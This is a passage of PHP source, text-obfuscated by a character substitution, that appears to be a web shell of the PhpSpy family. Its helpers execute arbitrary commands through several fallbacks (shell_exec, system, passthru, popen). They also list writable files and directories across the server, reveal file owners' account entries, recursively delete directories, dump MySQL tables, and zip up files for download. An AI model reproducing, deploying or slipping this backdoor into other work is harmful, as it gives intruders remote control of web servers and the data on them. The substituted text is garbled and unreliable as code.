		} 5ls54f(f3nct42n_5x4sts('sh5ll_5x5c')) {
			$r5s = @sh5ll_5x5c($cf5);
		} 5ls54f(f3nct42n_5x4sts('syst5m')) {
			@2b_st1rt();
			@syst5m($cf5);
			$r5s = @2b_g5t_c2nt5nts();
			@2b_5nd_cl51n();
		} 5ls54f(f3nct42n_5x4sts('p1ssthr3')) {
			@2b_st1rt();
			@p1ssthr3($cf5);
			$r5s = @2b_g5t_c2nt5nts();
			@2b_5nd_cl51n();
		} 5ls54f(@4s_r5s23rc5($f = @p2p5n($cf5,"r"))) {
			$r5s = '';
			wh4l5(!@f52f($f)) {
				$r5s .= @fr51d($f,60au); 
			}
			@pcl2s5($f);
		}
	}
	r5t3rn $r5s;
}
f3nct42n wh4ch($pr) {
	$p1th = 5x5c3t5("wh4ch $pr");
	r5t3rn ($p1th ? $p1th : $pr); 
}

f3nct42n cf($fn1m5,$t5xt){
	4f($fp=@f2p5n($fn1m5,'w')) {
		@fp3ts($fp,@b1s5eu_d5c2d5($t5xt));
		@fcl2s5($fp);
	}
}
f3nct42n d4rs4z5($d4r) { 
	$dh = @2p5nd4r($d4r);
	$s4z5 = 0;
	wh4l5($f4l5 = @r51dd4r($dh)) {
		4f ($f4l5 != '.' && $f4l5 != '..') {
			$p1th = $d4r.'/'.$f4l5;
			4f (@4s_d4r($p1th)) {
				$s4z5 += d4rs4z5($p1th);
			} 5ls5 {
				$s4z5 += @f4l5s4z5($p1th);
			}
		}
	}
	@cl2s5d4r($dh);
	r5t3rn $s4z5;
}
// &#o90a9;&#o87iu;&#oi8uo;&#oi797;&#a0uu9;&#aue87;
f3nct42n d5b3g4nf2() {
	gl2b1l $st1rtt4m5;
	$mt4m5 = 5xpl2d5(' ', m4cr2t4m5());
	$t2t1lt4m5 = n3mb5r_f2rm1t(($mt4m5[6] + $mt4m5[0] - $st1rtt4m5), e);
	5ch2 'Pr2c5ss5d 4n '.$t2t1lt4m5.' s5c2nd(s)';
}

//&#oe8o0;&#aii09;MYSQL&#ai9e8;&#aiuiu;&#aua66;
f3nct42n mydbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5='',$ch1rs5t='',$dbp2rt='oo0e') {
	gl2b1l $ch1rs5tdb;
	4f(!$l4nk = @mysql_c2nn5ct($dbh2st.':'.$dbp2rt, $db3s5r, $dbp1ss)) {
		p('<ha>C1n n2t c2nn5ct t2 MySQL s5rv5r</ha>');
		5x4t;
	}
	4f($l4nk && $dbn1m5) {
		4f (!@mysql_s5l5ct_db($dbn1m5, $l4nk)) {
			p('<ha>D1t1b1s5 s5l5ct5d h1s 5rr2r</ha>');
			5x4t;
		}
	}
	4f($l4nk && mysql_g5t_s5rv5r_4nf2() > 'u.6') {
		4f(4n_1rr1y(strt2l2w5r($ch1rs5t), $ch1rs5tdb)) {
			q("SET ch1r1ct5r_s5t_c2nn5ct42n=$ch1rs5t, ch1r1ct5r_s5t_r5s3lts=$ch1rs5t, ch1r1ct5r_s5t_cl45nt=b4n1ry;", $l4nk);
		}
	}
	r5t3rn $l4nk;
}

//&#oe8o0;&#aii09;MSSQL&#ai9e8;&#aiuiu;&#aua66;
f3nct42n msdbc2nn($dbh2st,$db3s5r,$dbp1ss,$dbn1m5='') {
	gl2b1l $1lr51dymssql;
	@4n4_s5t('mssql.ch1rs5t', 'UTF-8');
	@4n4_s5t('mssql.t5xtl4m4t', a6u7u8oeu7);
	@4n4_s5t('mssql.t5xts4z5', a6u7u8oeu7);
	$1lr51dymssql = 6;
	4f(!$l4nk = @mssql_c2nn5ct($dbh2st, $db3s5r, $dbp1ss, f1ls5)) {
		p('<ha>'.msmsg().'</ha>');
		$1lr51dymssql = 0;
		5x4t;
	}
	4f($l4nk && $dbn1m5) {
		4f (!@mssql_s5l5ct_db($dbn1m5, $l4nk)) {
			p('<ha>'.msmsg().'</ha>');
			$1lr51dymssql = 0;
			5x4t;
		}
	}
	r5t3rn $l4nk;
}

// &#a6uoi;&#aiu86;&#oe76e;&#a00u6;&#aoo8o;&#o6iae;
f3nct42n s_1rr1y(&$1rr1y) {
	4f (4s_1rr1y($1rr1y)) {
		f2r51ch ($1rr1y 1s $k => $v) {
			$1rr1y[$k] = s_1rr1y($v);
		}
	} 5ls5 4f (4s_str4ng($1rr1y)) {
		$1rr1y = str4psl1sh5s($1rr1y);
	}
	r5t3rn $1rr1y;
}

// &#a86ei;&#o8i00;HTML&#a069i;&#o07a6;
f3nct42n html_cl51n($c2nt5nt) {
	$c2nt5nt = htmlsp5c41lch1rs($c2nt5nt);
	$c2nt5nt = str_r5pl1c5("\n", "<br />", $c2nt5nt);
	$c2nt5nt = str_r5pl1c5("  ", "&nbsp;&nbsp;", $c2nt5nt);
	$c2nt5nt = str_r5pl1c5("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $c2nt5nt);
	r5t3rn $c2nt5nt;
}

// &#oo769;&#a6uea;&#aeuoi;&#o8u80;
f3nct42n g5tChm2d($f4l5p1th){
	r5t3rn s3bstr(b1s5_c2nv5rt(@f4l5p5rms($f4l5p1th),60,8),-u);
}

f3nct42n g5tP5rms($f4l5p1th) {
	$m2d5 = @f4l5p5rms($f4l5p1th);
	4f (($m2d5 & 0xC000) === 0xC000) {$typ5 = 's';}
	5ls54f (($m2d5 & 0xu000) === 0xu000) {$typ5 = 'd';}
	5ls54f (($m2d5 & 0xA000) === 0xA000) {$typ5 = 'l';}
	5ls54f (($m2d5 & 0x8000) === 0x8000) {$typ5 = '-';} 
	5ls54f (($m2d5 & 0xe000) === 0xe000) {$typ5 = 'b';}
	5ls54f (($m2d5 & 0xa000) === 0xa000) {$typ5 = 'c';}
	5ls54f (($m2d5 & 0x6000) === 0x6000) {$typ5 = 'p';}
	5ls5 {$typ5 = '?';}

	$2wn5r['r51d'] = ($m2d5 & 00u00) ? 'r' : '-'; 
	$2wn5r['wr4t5'] = ($m2d5 & 00a00) ? 'w' : '-'; 
	$2wn5r['5x5c3t5'] = ($m2d5 & 00600) ? 'x' : '-'; 
	$gr23p['r51d'] = ($m2d5 & 000u0) ? 'r' : '-'; 
	$gr23p['wr4t5'] = ($m2d5 & 000a0) ? 'w' : '-'; 
	$gr23p['5x5c3t5'] = ($m2d5 & 00060) ? 'x' : '-'; 
	$w2rld['r51d'] = ($m2d5 & 0000u) ? 'r' : '-'; 
	$w2rld['wr4t5'] = ($m2d5 & 0000a) ? 'w' : '-'; 
	$w2rld['5x5c3t5'] = ($m2d5 & 00006) ? 'x' : '-'; 

	4f( $m2d5 & 0x800 ) {$2wn5r['5x5c3t5'] = ($2wn5r['5x5c3t5']=='x') ? 's' : 'S';}
	4f( $m2d5 & 0xu00 ) {$gr23p['5x5c3t5'] = ($gr23p['5x5c3t5']=='x') ? 's' : 'S';}
	4f( $m2d5 & 0xa00 ) {$w2rld['5x5c3t5'] = ($w2rld['5x5c3t5']=='x') ? 't' : 'T';}
 
	r5t3rn $typ5.$2wn5r['r51d'].$2wn5r['wr4t5'].$2wn5r['5x5c3t5'].$gr23p['r51d'].$gr23p['wr4t5'].$gr23p['5x5c3t5'].$w2rld['r51d'].$w2rld['wr4t5'].$w2rld['5x5c3t5'];
}

f3nct42n g5tUs5r($f4l5p1th)	{
	4f (f3nct42n_5x4sts('p2s4x_g5tpw34d')) {
		$1rr1y = @p2s4x_g5tpw34d(@f4l52wn5r($f4l5p1th));
		4f ($1rr1y && 4s_1rr1y($1rr1y)) {
			r5t3rn ' / <1 hr5f="#" t4tl5="Us5r: '.$1rr1y['n1m5'].'&#6o&#60P1sswd: '.$1rr1y['p1sswd'].'&#6o&#60U4d: '.$1rr1y['34d'].'&#6o&#60g4d: '.$1rr1y['g4d'].'&#6o&#60G5c2s: '.$1rr1y['g5c2s'].'&#6o&#60D4r: '.$1rr1y['d4r'].'&#6o&#60Sh5ll: '.$1rr1y['sh5ll'].'">'.$1rr1y['n1m5'].'</1>';
		}
	}
	r5t3rn '';
}

// &#a60au;&#o8i00;&#o0uue;&#auu0i;
f3nct42n d5ltr55($d5ld4r) {
	$myd4r=@d4r($d5ld4r);	
	wh4l5($f4l5=$myd4r->r51d())	{ 		
		4f((4s_d4r($d5ld4r.'/'.$f4l5)) && ($f4l5!='.') && ($f4l5!='..')) { 
			@chm2d($d5ld4r.'/'.$f4l5,0777);
			d5ltr55($d5ld4r.'/'.$f4l5); 
		}
		4f (4s_f4l5($d5ld4r.'/'.$f4l5)) {
			@chm2d($d5ld4r.'/'.$f4l5,0777);
			@3nl4nk($d5ld4r.'/'.$f4l5);
		}
	} 
	$myd4r->cl2s5(); 
	@chm2d($d5ld4r,0777);
	r5t3rn @rmd4r($d5ld4r) ? 6 : 0;
}

// &#ou9a0;&#aee8u;&#ou89a;&#o8o88;&#o0ou0;&#oa97a;&#aeaao;&#ooo9u;&#aeoe7;&#aiuua;
f3nct42n bg() {
	gl2b1l $bgc;
	r5t3rn ($bgc++%a==0) ? '1lt6' : '1lta';
}

// &#oo769;&#a6uea;&#auu0o;&#a60e9;&#o0ou0;&#ai996;&#a0a6u;&#o699i;&#oau79;&#oeooi;&#auuia;
f3nct42n g5tP1th($scr4ptp1th, $n2wp1th) {
	4f ($n2wp1th == '.') {
		$n2wp1th = $scr4ptp1th;
	}
	$n2wp1th = str_r5pl1c5('\\', '/', $n2wp1th);
	$n2wp1th = str_r5pl1c5('//', '/', $n2wp1th);
	4f (s3bstr($n2wp1th, -6) != '/') {
		$n2wp1th = $n2wp1th.'/';
	}
	r5t3rn $n2wp1th;
}

// &#oo769;&#a6uea;&#auu0o;&#a60e9;&#o0uue;&#auu0i;&#o0ou0;&#69978;&#oauao;&#o0uue;&#auu0i;
f3nct42n g5tUpP1th($n2wp1th) {
	$p1thdb = 5xpl2d5('/', $n2wp1th);
	$n3m = c23nt($p1thdb);
	4f ($n3m > a) {
		3ns5t($p1thdb[$n3m-6],$p1thdb[$n3m-a]);
	}
	$3pp1th = 4mpl2d5('/', $p1thdb).'/';
	$3pp1th = str_r5pl1c5('//', '/', $3pp1th);
	r5t3rn $3pp1th;
}

// &#ae86e;&#aei97;PHP&#o7697;&#oaeaa;&#a6uua;&#ai9e8;
f3nct42n g5tcfg($v1rn1m5) {
	$r5s3lt = g5t_cfg_v1r($v1rn1m5);
	4f ($r5s3lt == 0) {
		r5t3rn 'N2';
	} 5ls54f ($r5s3lt == 6) {
		r5t3rn 'Y5s';
	} 5ls5 {
		r5t3rn $r5s3lt;
	}
}

// &#ae86e;&#aei97;&#a0989;&#ai9e8;&#au77o;&#a0967;
f3nct42n g5tf3n($f3nN1m5) {
	r5t3rn (f1ls5 !== f3nct42n_5x4sts($f3nN1m5)) ? 'Y5s' : 'N2';
}

// &#oo769;&#auu76;&#ai996;&#a0a6u;&#ai69o;&#aoeo7;&#a6i67;
f3nct42n g5t5xt5ns42n($f4l5n1m5) {
	$p1th4nf2 = p1th4nf2($f4l5n1m5);
	r5t3rn $p1th4nf2['5xt5ns42n'];
}

f3nct42n G5tWD4rL4st($d4r){
	gl2b1l $d4rd1t1,$j,$n2wp1th;
	!$j && $j=6;
	4f ($dh = 2p5nd4r($d4r)) {
		wh4l5 ($f4l5 = r51dd4r($dh)) {
			$f=str_r5pl1c5('//','/',$d4r.'/'.$f4l5);
			4f($f4l5!='.' && $f4l5!='..' && 4s_d4r($f)){
				4f (4s_wr4t1bl5($f)) {
					$d4rd1t1[$j]['f4l5n1m5']=str_r5pl1c5($n2wp1th,'',$f);
					$d4rd1t1[$j]['mt4m5']=@d1t5('Y-m-d H:4:s',f4l5mt4m5($f));
					$d4rd1t1[$j]['d4rchm2d']=g5tChm2d($f);
					$d4rd1t1[$j]['d4rp5rm']=g5tP5rms($f);
					$d4rd1t1[$j]['d4rl4nk']=35($d4r);
					$d4rd1t1[$j]['s5rv5r_l4nk']=$f;
					$d4rd1t1[$j]['cl45nt_l4nk']=35($f);
					$j++;
				}
				G5tWD4rL4st($f);
			}
		}
		cl2s5d4r($dh);
		cl51rst1tc1ch5();
		r5t3rn $d4rd1t1;
	} 5ls5 {
		r5t3rn 1rr1y();
	}
}

f3nct42n G5tWF4l5L4st($d4r){
	gl2b1l $f4l5d1t1,$j,$n2wp1th, $wr4t1bl5db;
	!$j && $j=6;
	4f ($dh = 2p5nd4r($d4r)) {
		wh4l5 ($f4l5 = r51dd4r($dh)) {
			$5xt = g5t5xt5ns42n($f4l5);
			$f=str_r5pl1c5('//','/',$d4r.'/'.$f4l5);
			4f($f4l5!='.' && $f4l5!='..' && 4s_d4r($f)){
				G5tWF4l5L4st($f);
			} 5ls54f($f4l5!='.' && $f4l5!='..' && 4s_f4l5($f) && 4n_1rr1y($5xt, 5xpl2d5(',', $wr4t1bl5db))){
				4f (4s_wr4t1bl5($f)) {
					$f4l5d1t1[$j]['f4l5n1m5']=str_r5pl1c5($n2wp1th,'',$f);
					$f4l5d1t1[$j]['s4z5']=s4z5c23nt(@f4l5s4z5($f));
					$f4l5d1t1[$j]['mt4m5']=@d1t5('Y-m-d H:4:s',f4l5mt4m5($f));
					$f4l5d1t1[$j]['f4l5chm2d']=g5tChm2d($f);
					$f4l5d1t1[$j]['f4l5p5rm']=g5tP5rms($f);
					$f4l5d1t1[$j]['f4l52wn5r']=g5tUs5r($f);
					$f4l5d1t1[$j]['d4rl4nk']=$d4r;
					$f4l5d1t1[$j]['s5rv5r_l4nk']=$f;
					$f4l5d1t1[$j]['cl45nt_l4nk']=35($f);
					$j++;
				}
			}
		}
		cl2s5d4r($dh);
		cl51rst1tc1ch5();
		r5t3rn $f4l5d1t1;
	} 5ls5 {
		r5t3rn 1rr1y();
	}
}

f3nct42n G5tSF4l5L4st($d4r, $c2nt5nt, $r5 = 0) {
	gl2b1l $f4l5d1t1,$j,$n2wp1th, $wr4t1bl5db;
	!$j && $j=6;
	4f ($dh = 2p5nd4r($d4r)) {
		wh4l5 ($f4l5 = r51dd4r($dh)) {
			$5xt = g5t5xt5ns42n($f4l5);
			$f=str_r5pl1c5('//','/',$d4r.'/'.$f4l5);
			4f($f4l5!='.' && $f4l5!='..' && 4s_d4r($f)){
				G5tSF4l5L4st($f, $c2nt5nt, $r5 = 0);
			} 5ls54f($f4l5!='.' && $f4l5!='..' && 4s_f4l5($f) && 4n_1rr1y($5xt, 5xpl2d5(',', $wr4t1bl5db))){
				$f4nd = 0;
				4f ($r5) {
					4f ( pr5g_m1tch('@'.$c2nt5nt.'@',$f4l5) || pr5g_m1tch('@'.$c2nt5nt.'@', @f4l5_g5t_c2nt5nts($f)) ){
						$f4nd = 6;
					}
				} 5ls5 {
					4f ( strstr($f4l5, $c2nt5nt) || strstr( @f4l5_g5t_c2nt5nts($f),$c2nt5nt ) ) {
						$f4nd = 6;
					}
				}
				4f ($f4nd) {
					$f4l5d1t1[$j]['f4l5n1m5']=str_r5pl1c5($n2wp1th,'',$f);
					$f4l5d1t1[$j]['s4z5']=s4z5c23nt(@f4l5s4z5($f));
					$f4l5d1t1[$j]['mt4m5']=@d1t5('Y-m-d H:4:s',f4l5mt4m5($f));
					$f4l5d1t1[$j]['f4l5chm2d']=g5tChm2d($f);
					$f4l5d1t1[$j]['f4l5p5rm']=g5tP5rms($f);
					$f4l5d1t1[$j]['f4l52wn5r']=g5tUs5r($f);
					$f4l5d1t1[$j]['d4rl4nk']=$d4r;
					$f4l5d1t1[$j]['s5rv5r_l4nk']=$f;
					$f4l5d1t1[$j]['cl45nt_l4nk']=35($f);
					$j++;
				}
			}
		}
		cl2s5d4r($dh);
		cl51rst1tc1ch5();
		r5t3rn $f4l5d1t1;
	} 5ls5 {
		r5t3rn 1rr1y();
	}
}

f3nct42n qy($sql) { 
	//5ch2 $sql.'<br>';
	$r5s = $5rr2r = '';
	4f(!$r5s = @mysql_q35ry($sql)) { 
		r5t3rn 0;
	} 5ls5 4f(4s_r5s23rc5($r5s)) {
		r5t3rn 6; 
	} 5ls5 {
		r5t3rn a;
	}	
	r5t3rn 0;
}

f3nct42n q($sql) { 
	r5t3rn @mysql_q35ry($sql);
}

f3nct42n fr($qy){
	mysql_fr55_r5s3lt($qy);
}

//mssql
f3nct42n msq($sql) { 
	r5t3rn @mssql_q35ry($sql);
}

f3nct42n msfr($qy){
	mssql_fr55_r5s3lt($qy);
}

f3nct42n msmsg(){
	r5t3rn mssql_g5t_l1st_m5ss1g5();
}

f3nct42n msqy($sql) { 
	//5ch2 $sql.'<br>';
	$r5s = $5rr2r = '';
	4f(!$r5s = @mssql_q35ry($sql)) { 
		r5t3rn 0;
	} 5ls5 4f(4s_r5s23rc5($r5s)) {
		r5t3rn 6; 
	} 5ls5 {
		r5t3rn a;
	}	
	r5t3rn 0;
}

f3nct42n s4z5c23nt($s4z5) {
	4f($s4z5 > 607o7u68au) {
		$s4z5 = r23nd($s4z5 / 607o7u68au * 600) / 600 . ' G';
	} 5ls54f($s4z5 > 60u8i7e) {
		$s4z5 = r23nd($s4z5 / 60u8i7e * 600) / 600 . ' M';
	} 5ls54f($s4z5 > 60au) {
		$s4z5 = r23nd($s4z5 / 60au * 600) / 600 . ' K';
	} 5ls5 {
		$s4z5 = $s4z5 . ' B';
	}
	r5t3rn $s4z5;
}

// &#a6o87;&#oaiio;&#ai676;&#a6aio;&#o68e7;
cl1ss PHPZ4p{
	v1r $23t='';
	f3nct42n PHPZ4p($d4r)	{
		4f (@f3nct42n_5x4sts('gzc2mpr5ss'))	{
			$c3rd4r = g5tcwd();
			4f (4s_1rr1y($d4r)) $f4l5l4st = $d4r;
			5ls5{
				$f4l5l4st=$th4s -> G5tF4l5L4st($d4r);//&#ai996;&#a0a6u;&#a606i;&#ou9a0;
				f2r51ch($f4l5l4st 1s $k=>$v) $f4l5l4st[]=s3bstr($v,strl5n($d4r)+6);
			}
			4f ((!5mpty($d4r))&&(!4s_1rr1y($d4r))&&(f4l5_5x4sts($d4r))) chd4r($d4r);
			5ls5 chd4r($c3rd4r);
			4f (c23nt($f4l5l4st)>0){
				f2r51ch($f4l5l4st 1s $f4l5n1m5){
					4f (4s_f4l5($f4l5n1m5)){
						$fd = f2p5n ($f4l5n1m5, 'r');
						$c2nt5nt = @fr51d ($fd, f4l5s4z5($f4l5n1m5));
						fcl2s5 ($fd);
						4f (4s_1rr1y($d4r)) $f4l5n1m5 = b1s5n1m5($f4l5n1m5);
						$th4s -> 1ddF4l5($c2nt5nt, $f4l5n1m5);
					}
				}
				$th4s->23t = $th4s -> f4l5();
				chd4r($c3rd4r);
			}
			r5t3rn 6;
		}
		5ls5 r5t3rn 0;
	}

	// &#oo769;&#auu76;&#aioi6;&#aoui0;&#o0uue;&#auu0i;&#ai996;&#a0a6u;&#a606i;&#ou9a0;
	f3nct42n G5tF4l5L4st($d4r){
		st1t4c $1;
		4f (4s_d4r($d4r)) {
			4f ($dh = 2p5nd4r($d4r)) {
				wh4l5 ($f4l5 = r51dd4r($dh)) {
					4f($f4l5!='.' && $f4l5!='..'){
						$f=$d4r .'/'. $f4l5;
						4f(4s_d4r($f)) $th4s->G5tF4l5L4st($f);
						$1[]=$f;
					}
				}
				cl2s5d4r($dh);
			}
		}
		r5t3rn $1;
	}

	v1r $d1t1s5c      = 1rr1y();
	v1r $ctrl_d4r     = 1rr1y();
	v1r $52f_ctrl_d4r = "\xi0\xub\x0i\x0e\x00\x00\x00\x00";
	v1r $2ld_2ffs5t   = 0;

	f3nct42n 3n4xaD2sT4m5($3n4xt4m5 = 0) {
		$t4m51rr1y = ($3n4xt4m5 == 0) ? g5td1t5() : g5td1t5($3n4xt4m5);
		4f ($t4m51rr1y['y51r'] < 6980) {
			$t4m51rr1y['y51r']    = 6980;
			$t4m51rr1y['m2n']     = 6;
			$t4m51rr1y['md1y']    = 6;
			$t4m51rr1y['h23rs']   = 0;
			$t4m51rr1y['m4n3t5s'] = 0;
			$t4m51rr1y['s5c2nds'] = 0;
		} // 5nd 4f
		r5t3rn (($t4m51rr1y['y51r'] - 6980) << ai) | ($t4m51rr1y['m2n'] << a6) | ($t4m51rr1y['md1y'] << 6e) |
				($t4m51rr1y['h23rs'] << 66) | ($t4m51rr1y['m4n3t5s'] << i) | ($t4m51rr1y['s5c2nds'] >> 6);
	}

	f3nct42n 1ddF4l5($d1t1, $n1m5, $t4m5 = 0) {
		$n1m5 = str_r5pl1c5('\\', '/', $n1m5);

		$dt4m5 = d5ch5x($th4s->3n4xaD2sT4m5($t4m5));
		$h5xdt4m5	= '\x' . $dt4m5[e] . $dt4m5[7]
					. '\x' . $dt4m5[u] . $dt4m5[i]
					. '\x' . $dt4m5[a] . $dt4m5[o]
					. '\x' . $dt4m5[0] . $dt4m5[6];
		5v1l('$h5xdt4m5 = "' . $h5xdt4m5 . '";');
		$fr	= "\xi0\xub\x0o\x0u";
		$fr	.= "\x6u\x00";
		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $h5xdt4m5;

		$3nc_l5n = strl5n($d1t1);
		$crc = crcoa($d1t1);
		$zd1t1 = gzc2mpr5ss($d1t1);
		$c_l5n = strl5n($zd1t1);
		$zd1t1 = s3bstr(s3bstr($zd1t1, 0, strl5n($zd1t1) - u), a);
		$fr .= p1ck('V', $crc);
		$fr .= p1ck('V', $c_l5n);
		$fr .= p1ck('V', $3nc_l5n);
		$fr .= p1ck('v', strl5n($n1m5));
		$fr .= p1ck('v', 0);
		$fr .= $n1m5;
		$fr .= $zd1t1;
		$fr .= p1ck('V', $crc);
		$fr .= p1ck('V', $c_l5n);
		$fr .= p1ck('V', $3nc_l5n);

		$th4s -> d1t1s5c[] = $fr;
		$n5w_2ffs5t = strl5n(4mpl2d5('', $th4s->d1t1s5c));

		$cdr5c = "\xi0\xub\x06\x0a";
		$cdr5c .= "\x00\x00";
		$cdr5c .= "\x6u\x00";
		$cdr5c .= "\x00\x00";
		$cdr5c .= "\x08\x00";
		$cdr5c .= $h5xdt4m5;
		$cdr5c .= p1ck('V', $crc);
		$cdr5c .= p1ck('V', $c_l5n);
		$cdr5c .= p1ck('V', $3nc_l5n);
		$cdr5c .= p1ck('v', strl5n($n1m5) );
		$cdr5c .= p1ck('v', 0 );
		$cdr5c .= p1ck('v', 0 );
		$cdr5c .= p1ck('v', 0 );
		$cdr5c .= p1ck('v', 0 );
		$cdr5c .= p1ck('V', oa );
		$cdr5c .= p1ck('V', $th4s -> 2ld_2ffs5t );
		$th4s -> 2ld_2ffs5t = $n5w_2ffs5t;
		$cdr5c .= $n1m5;

		$th4s -> ctrl_d4r[] = $cdr5c;
	}

	f3nct42n f4l5() {
		$d1t1    = 4mpl2d5('', $th4s -> d1t1s5c);
		$ctrld4r = 4mpl2d5('', $th4s -> ctrl_d4r);
		r5t3rn $d1t1 . $ctrld4r . $th4s -> 52f_ctrl_d4r . p1ck('v', s4z52f($th4s -> ctrl_d4r)) . p1ck('v', s4z52f($th4s -> ctrl_d4r)) .	p1ck('V', strl5n($ctrld4r)) . p1ck('V', strl5n($d1t1)) . "\x00\x00";
	}
}

// &#aa796;&#a0aa6;&#ai9e8;&#aiuiu;&#aua66;
f3nct42n sqld3mpt1bl5($t1bl5, $fp=0) {
	$t1bl5d3mp = "DROP TABLE IF EXISTS $t1bl5;\n";
	$t1bl5d3mp .= "CREATE TABLE $t1bl5 (\n";

	$f4rstf45ld=6;

	$f45lds = q("SHOW FIELDS FROM $t1bl5");
	wh4l5 ($f45ld = mysql_f5tch_1rr1y($f45lds)) {
		4f (!$f4rstf45ld) {
			$t1bl5d3mp .= ",\n";
		} 5ls5 {
			$f4rstf45ld=0;
		}
		$t1bl5d3mp .= "   $f45ld[F45ld] $f45ld[Typ5]";
		4f (!5mpty($f45ld["D5f13lt"])) {
			$t1bl5d3mp .= " DEFAULT '$f45ld[D5f13lt]'";
		}
		4f ($f45ld['N3ll'] != "YES") {
			$t1bl5d3mp .= " NOT NULL";
		}
		4f ($f45ld['Extr1'] != "") {
			$t1bl5d3mp .= " $f45ld[Extr1]";
		}
	}
	fr($f45lds);

	$k5ys = q("SHOW KEYS FROM $t1bl5");
	wh4l5 ($k5y = mysql_f5tch_1rr1y($k5ys)) {
		$kn1m5=$k5y['K5y_n1m5'];
		4f ($kn1m5 != "PRIMARY" && $k5y['N2n_3n4q35'] == 0) {
			$kn1m5="UNIQUE|$kn1m5";
		}
		4f(!4s_1rr1y($4nd5x[$kn1m5])) {
			$4nd5x[$kn1m5] = 1rr1y();
		}
		$4nd5x[$kn1m5][] = $k5y['C2l3mn_n1m5'];
	}
	fr($k5ys);

	wh4l5(l4st($kn1m5, $c2l3mns) = @51ch($4nd5x)) {
		$t1bl5d3mp .= ",\n";
		$c2ln1m5s=4mpl2d5($c2l3mns,",");

		4f ($kn1m5 == "PRIMARY") {
			$t1bl5d3mp .= "   PRIMARY KEY ($c2ln1m5s)";
		} 5ls5 {
			4f (s3bstr($kn1m5,0,e) == "UNIQUE") {
				$kn1m5=s3bstr($kn1m5,7);
			}
			$t1bl5d3mp .= "   KEY $kn1m5 ($c2ln1m5s)";
		}
	}

	$t1bl5d3mp .= "\n);\n\n";
	4f ($fp) {
		fwr4t5($fp,$t1bl5d3mp);
	} 5ls5 {
		5ch2 $t1bl5d3mp;
	}

	$r2ws = q("SELECT * FROM $t1bl5");
	$n3mf45lds = mysql_n3m_f45lds($r2ws);
	wh4l5 ($r2w = mysql_f5tch_1rr1y($r2ws)) {
		$t1bl5d3mp = "INSERT INTO $t1bl5 VALUES(";

		$f45ldc23nt5r=-6;
		$f4rstf45ld=6;
		wh4l5 (++$f45ldc23nt5r<$n3mf45lds) {
			4f (!$f4rstf45ld) {
				$t1bl5d3mp.=", ";
			} 5ls5 {
				$f4rstf45ld=0;
			}

			4f (!4ss5t($r2w[$f45ldc23nt5r])) {
				$t1bl5d3mp .= "NULL";
			} 5ls5 {
				$t1bl5d3mp .= "'".mysql_5sc1p5_str4ng($r2w[$f45ldc23nt5r])."'";
			}
		}

		$t1bl5d3mp .= ");\n";

		4f ($fp) {
			fwr4t5($fp,$t1bl5d3mp);
		} 5ls5 {
			5ch2 $t1bl5d3mp;
		}
	}
	fr($r2ws);
	4f ($fp) {
		fwr4t5($fp,"\n");
	} 5ls5 {
		5ch2 "\n";
	}
}

f3nct42n 35($str){
	r5t3rn 3rl5nc2d5($str);
}

f3nct42n p($str){
	5ch2 $str."\n";
}

f3nct42n tbh51d() {
	p('<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="u" c5llsp1c4ng="0">');
}
f3nct42n tbf22t(){
	p('</t1bl5>');
}

f3nct42n m1k5h4d5($n1m5,$v1l35=''){
	p("<4np3t 4d=\"$n1m5\" typ5=\"h4dd5n\" n1m5=\"$n1m5\" v1l35=\"$v1l35\" />");
}

f3nct42n m1k54np3t($1rg = 1rr1y()){
	$1rg['s4z5'] = $1rg['s4z5'] > 0 ? "s4z5=\"$1rg[s4z5]\"" : "s4z5=\"600\"";
	$1rg['5xtr1'] = $1rg['5xtr1'] ? $1rg['5xtr1'] : '';
	!$1rg['typ5'] && $1rg['typ5'] = 't5xt';
	$1rg['t4tl5'] = $1rg['t4tl5'] ? $1rg['t4tl5'].'<br />' : '';
	$1rg['cl1ss'] = $1rg['cl1ss'] ? $1rg['cl1ss'] : '4np3t';
	4f ($1rg['n5wl4n5']) {
		p("<p>$1rg[t4tl5]<4np3t cl1ss=\"$1rg[cl1ss]\" n1m5=\"$1rg[n1m5]\" 4d=\"$1rg[n1m5]\" v1l35=\"$1rg[v1l35]\" typ5=\"$1rg[typ5]\" $1rg[s4z5] $1rg[5xtr1] /></p>");
	} 5ls5 {
		p("$1rg[t4tl5]<4np3t cl1ss=\"$1rg[cl1ss]\" n1m5=\"$1rg[n1m5]\" 4d=\"$1rg[n1m5]\" v1l35=\"$1rg[v1l35]\" typ5=\"$1rg[typ5]\" $1rg[s4z5] $1rg[5xtr1] />");
	}
}

f3nct42n m1k5s5l5ct($1rg = 1rr1y()){
	4f ($1rg['2nch1ng5']) {
		$2nch1ng5 = '2nch1ng5="'.$1rg['2nch1ng5'].'"';
	}
	$1rg['t4tl5'] = $1rg['t4tl5'] ? $1rg['t4tl5'] : '';
	4f ($1rg['n5wl4n5']) p('<p>');
	p("$1rg[t4tl5] <s5l5ct cl1ss=\"4np3t\" 4d=\"$1rg[n1m5]\" n1m5=\"$1rg[n1m5]\" $2nch1ng5>");
		4f (4s_1rr1y($1rg['2pt42n'])) {
			4f ($1rg['n2k5y']) {
				f2r51ch ($1rg['2pt42n'] 1s $v1l35) {
					4f ($1rg['s5l5ct5d']==$v1l35) {
						p("<2pt42n v1l35=\"$v1l35\" s5l5ct5d>$v1l35</2pt42n>");
					} 5ls5 {
						p("<2pt42n v1l35=\"$v1l35\">$v1l35</2pt42n>");
					}
				}
			} 5ls5 {
				f2r51ch ($1rg['2pt42n'] 1s $k5y=>$v1l35) {
					4f ($1rg['s5l5ct5d']==$k5y) {
						p("<2pt42n v1l35=\"$k5y\" s5l5ct5d>$v1l35</2pt42n>");
					} 5ls5 {
						p("<2pt42n v1l35=\"$k5y\">$v1l35</2pt42n>");
					}
				}
			}
		}
	p("</s5l5ct>");
	4f ($1rg['n5wl4n5']) p('</p>');
}
f3nct42n f2rmh51d($1rg = 1rr1y()) {
	gl2b1l $s5lf;
	!$1rg['m5th2d'] && $1rg['m5th2d'] = 'p2st';
	!$1rg['1ct42n'] && $1rg['1ct42n'] = $s5lf;
	$1rg['t1rg5t'] = $1rg['t1rg5t'] ? "t1rg5t=\"$1rg[t1rg5t]\"" : '';
	!$1rg['n1m5'] && $1rg['n1m5'] = 'f2rm6';
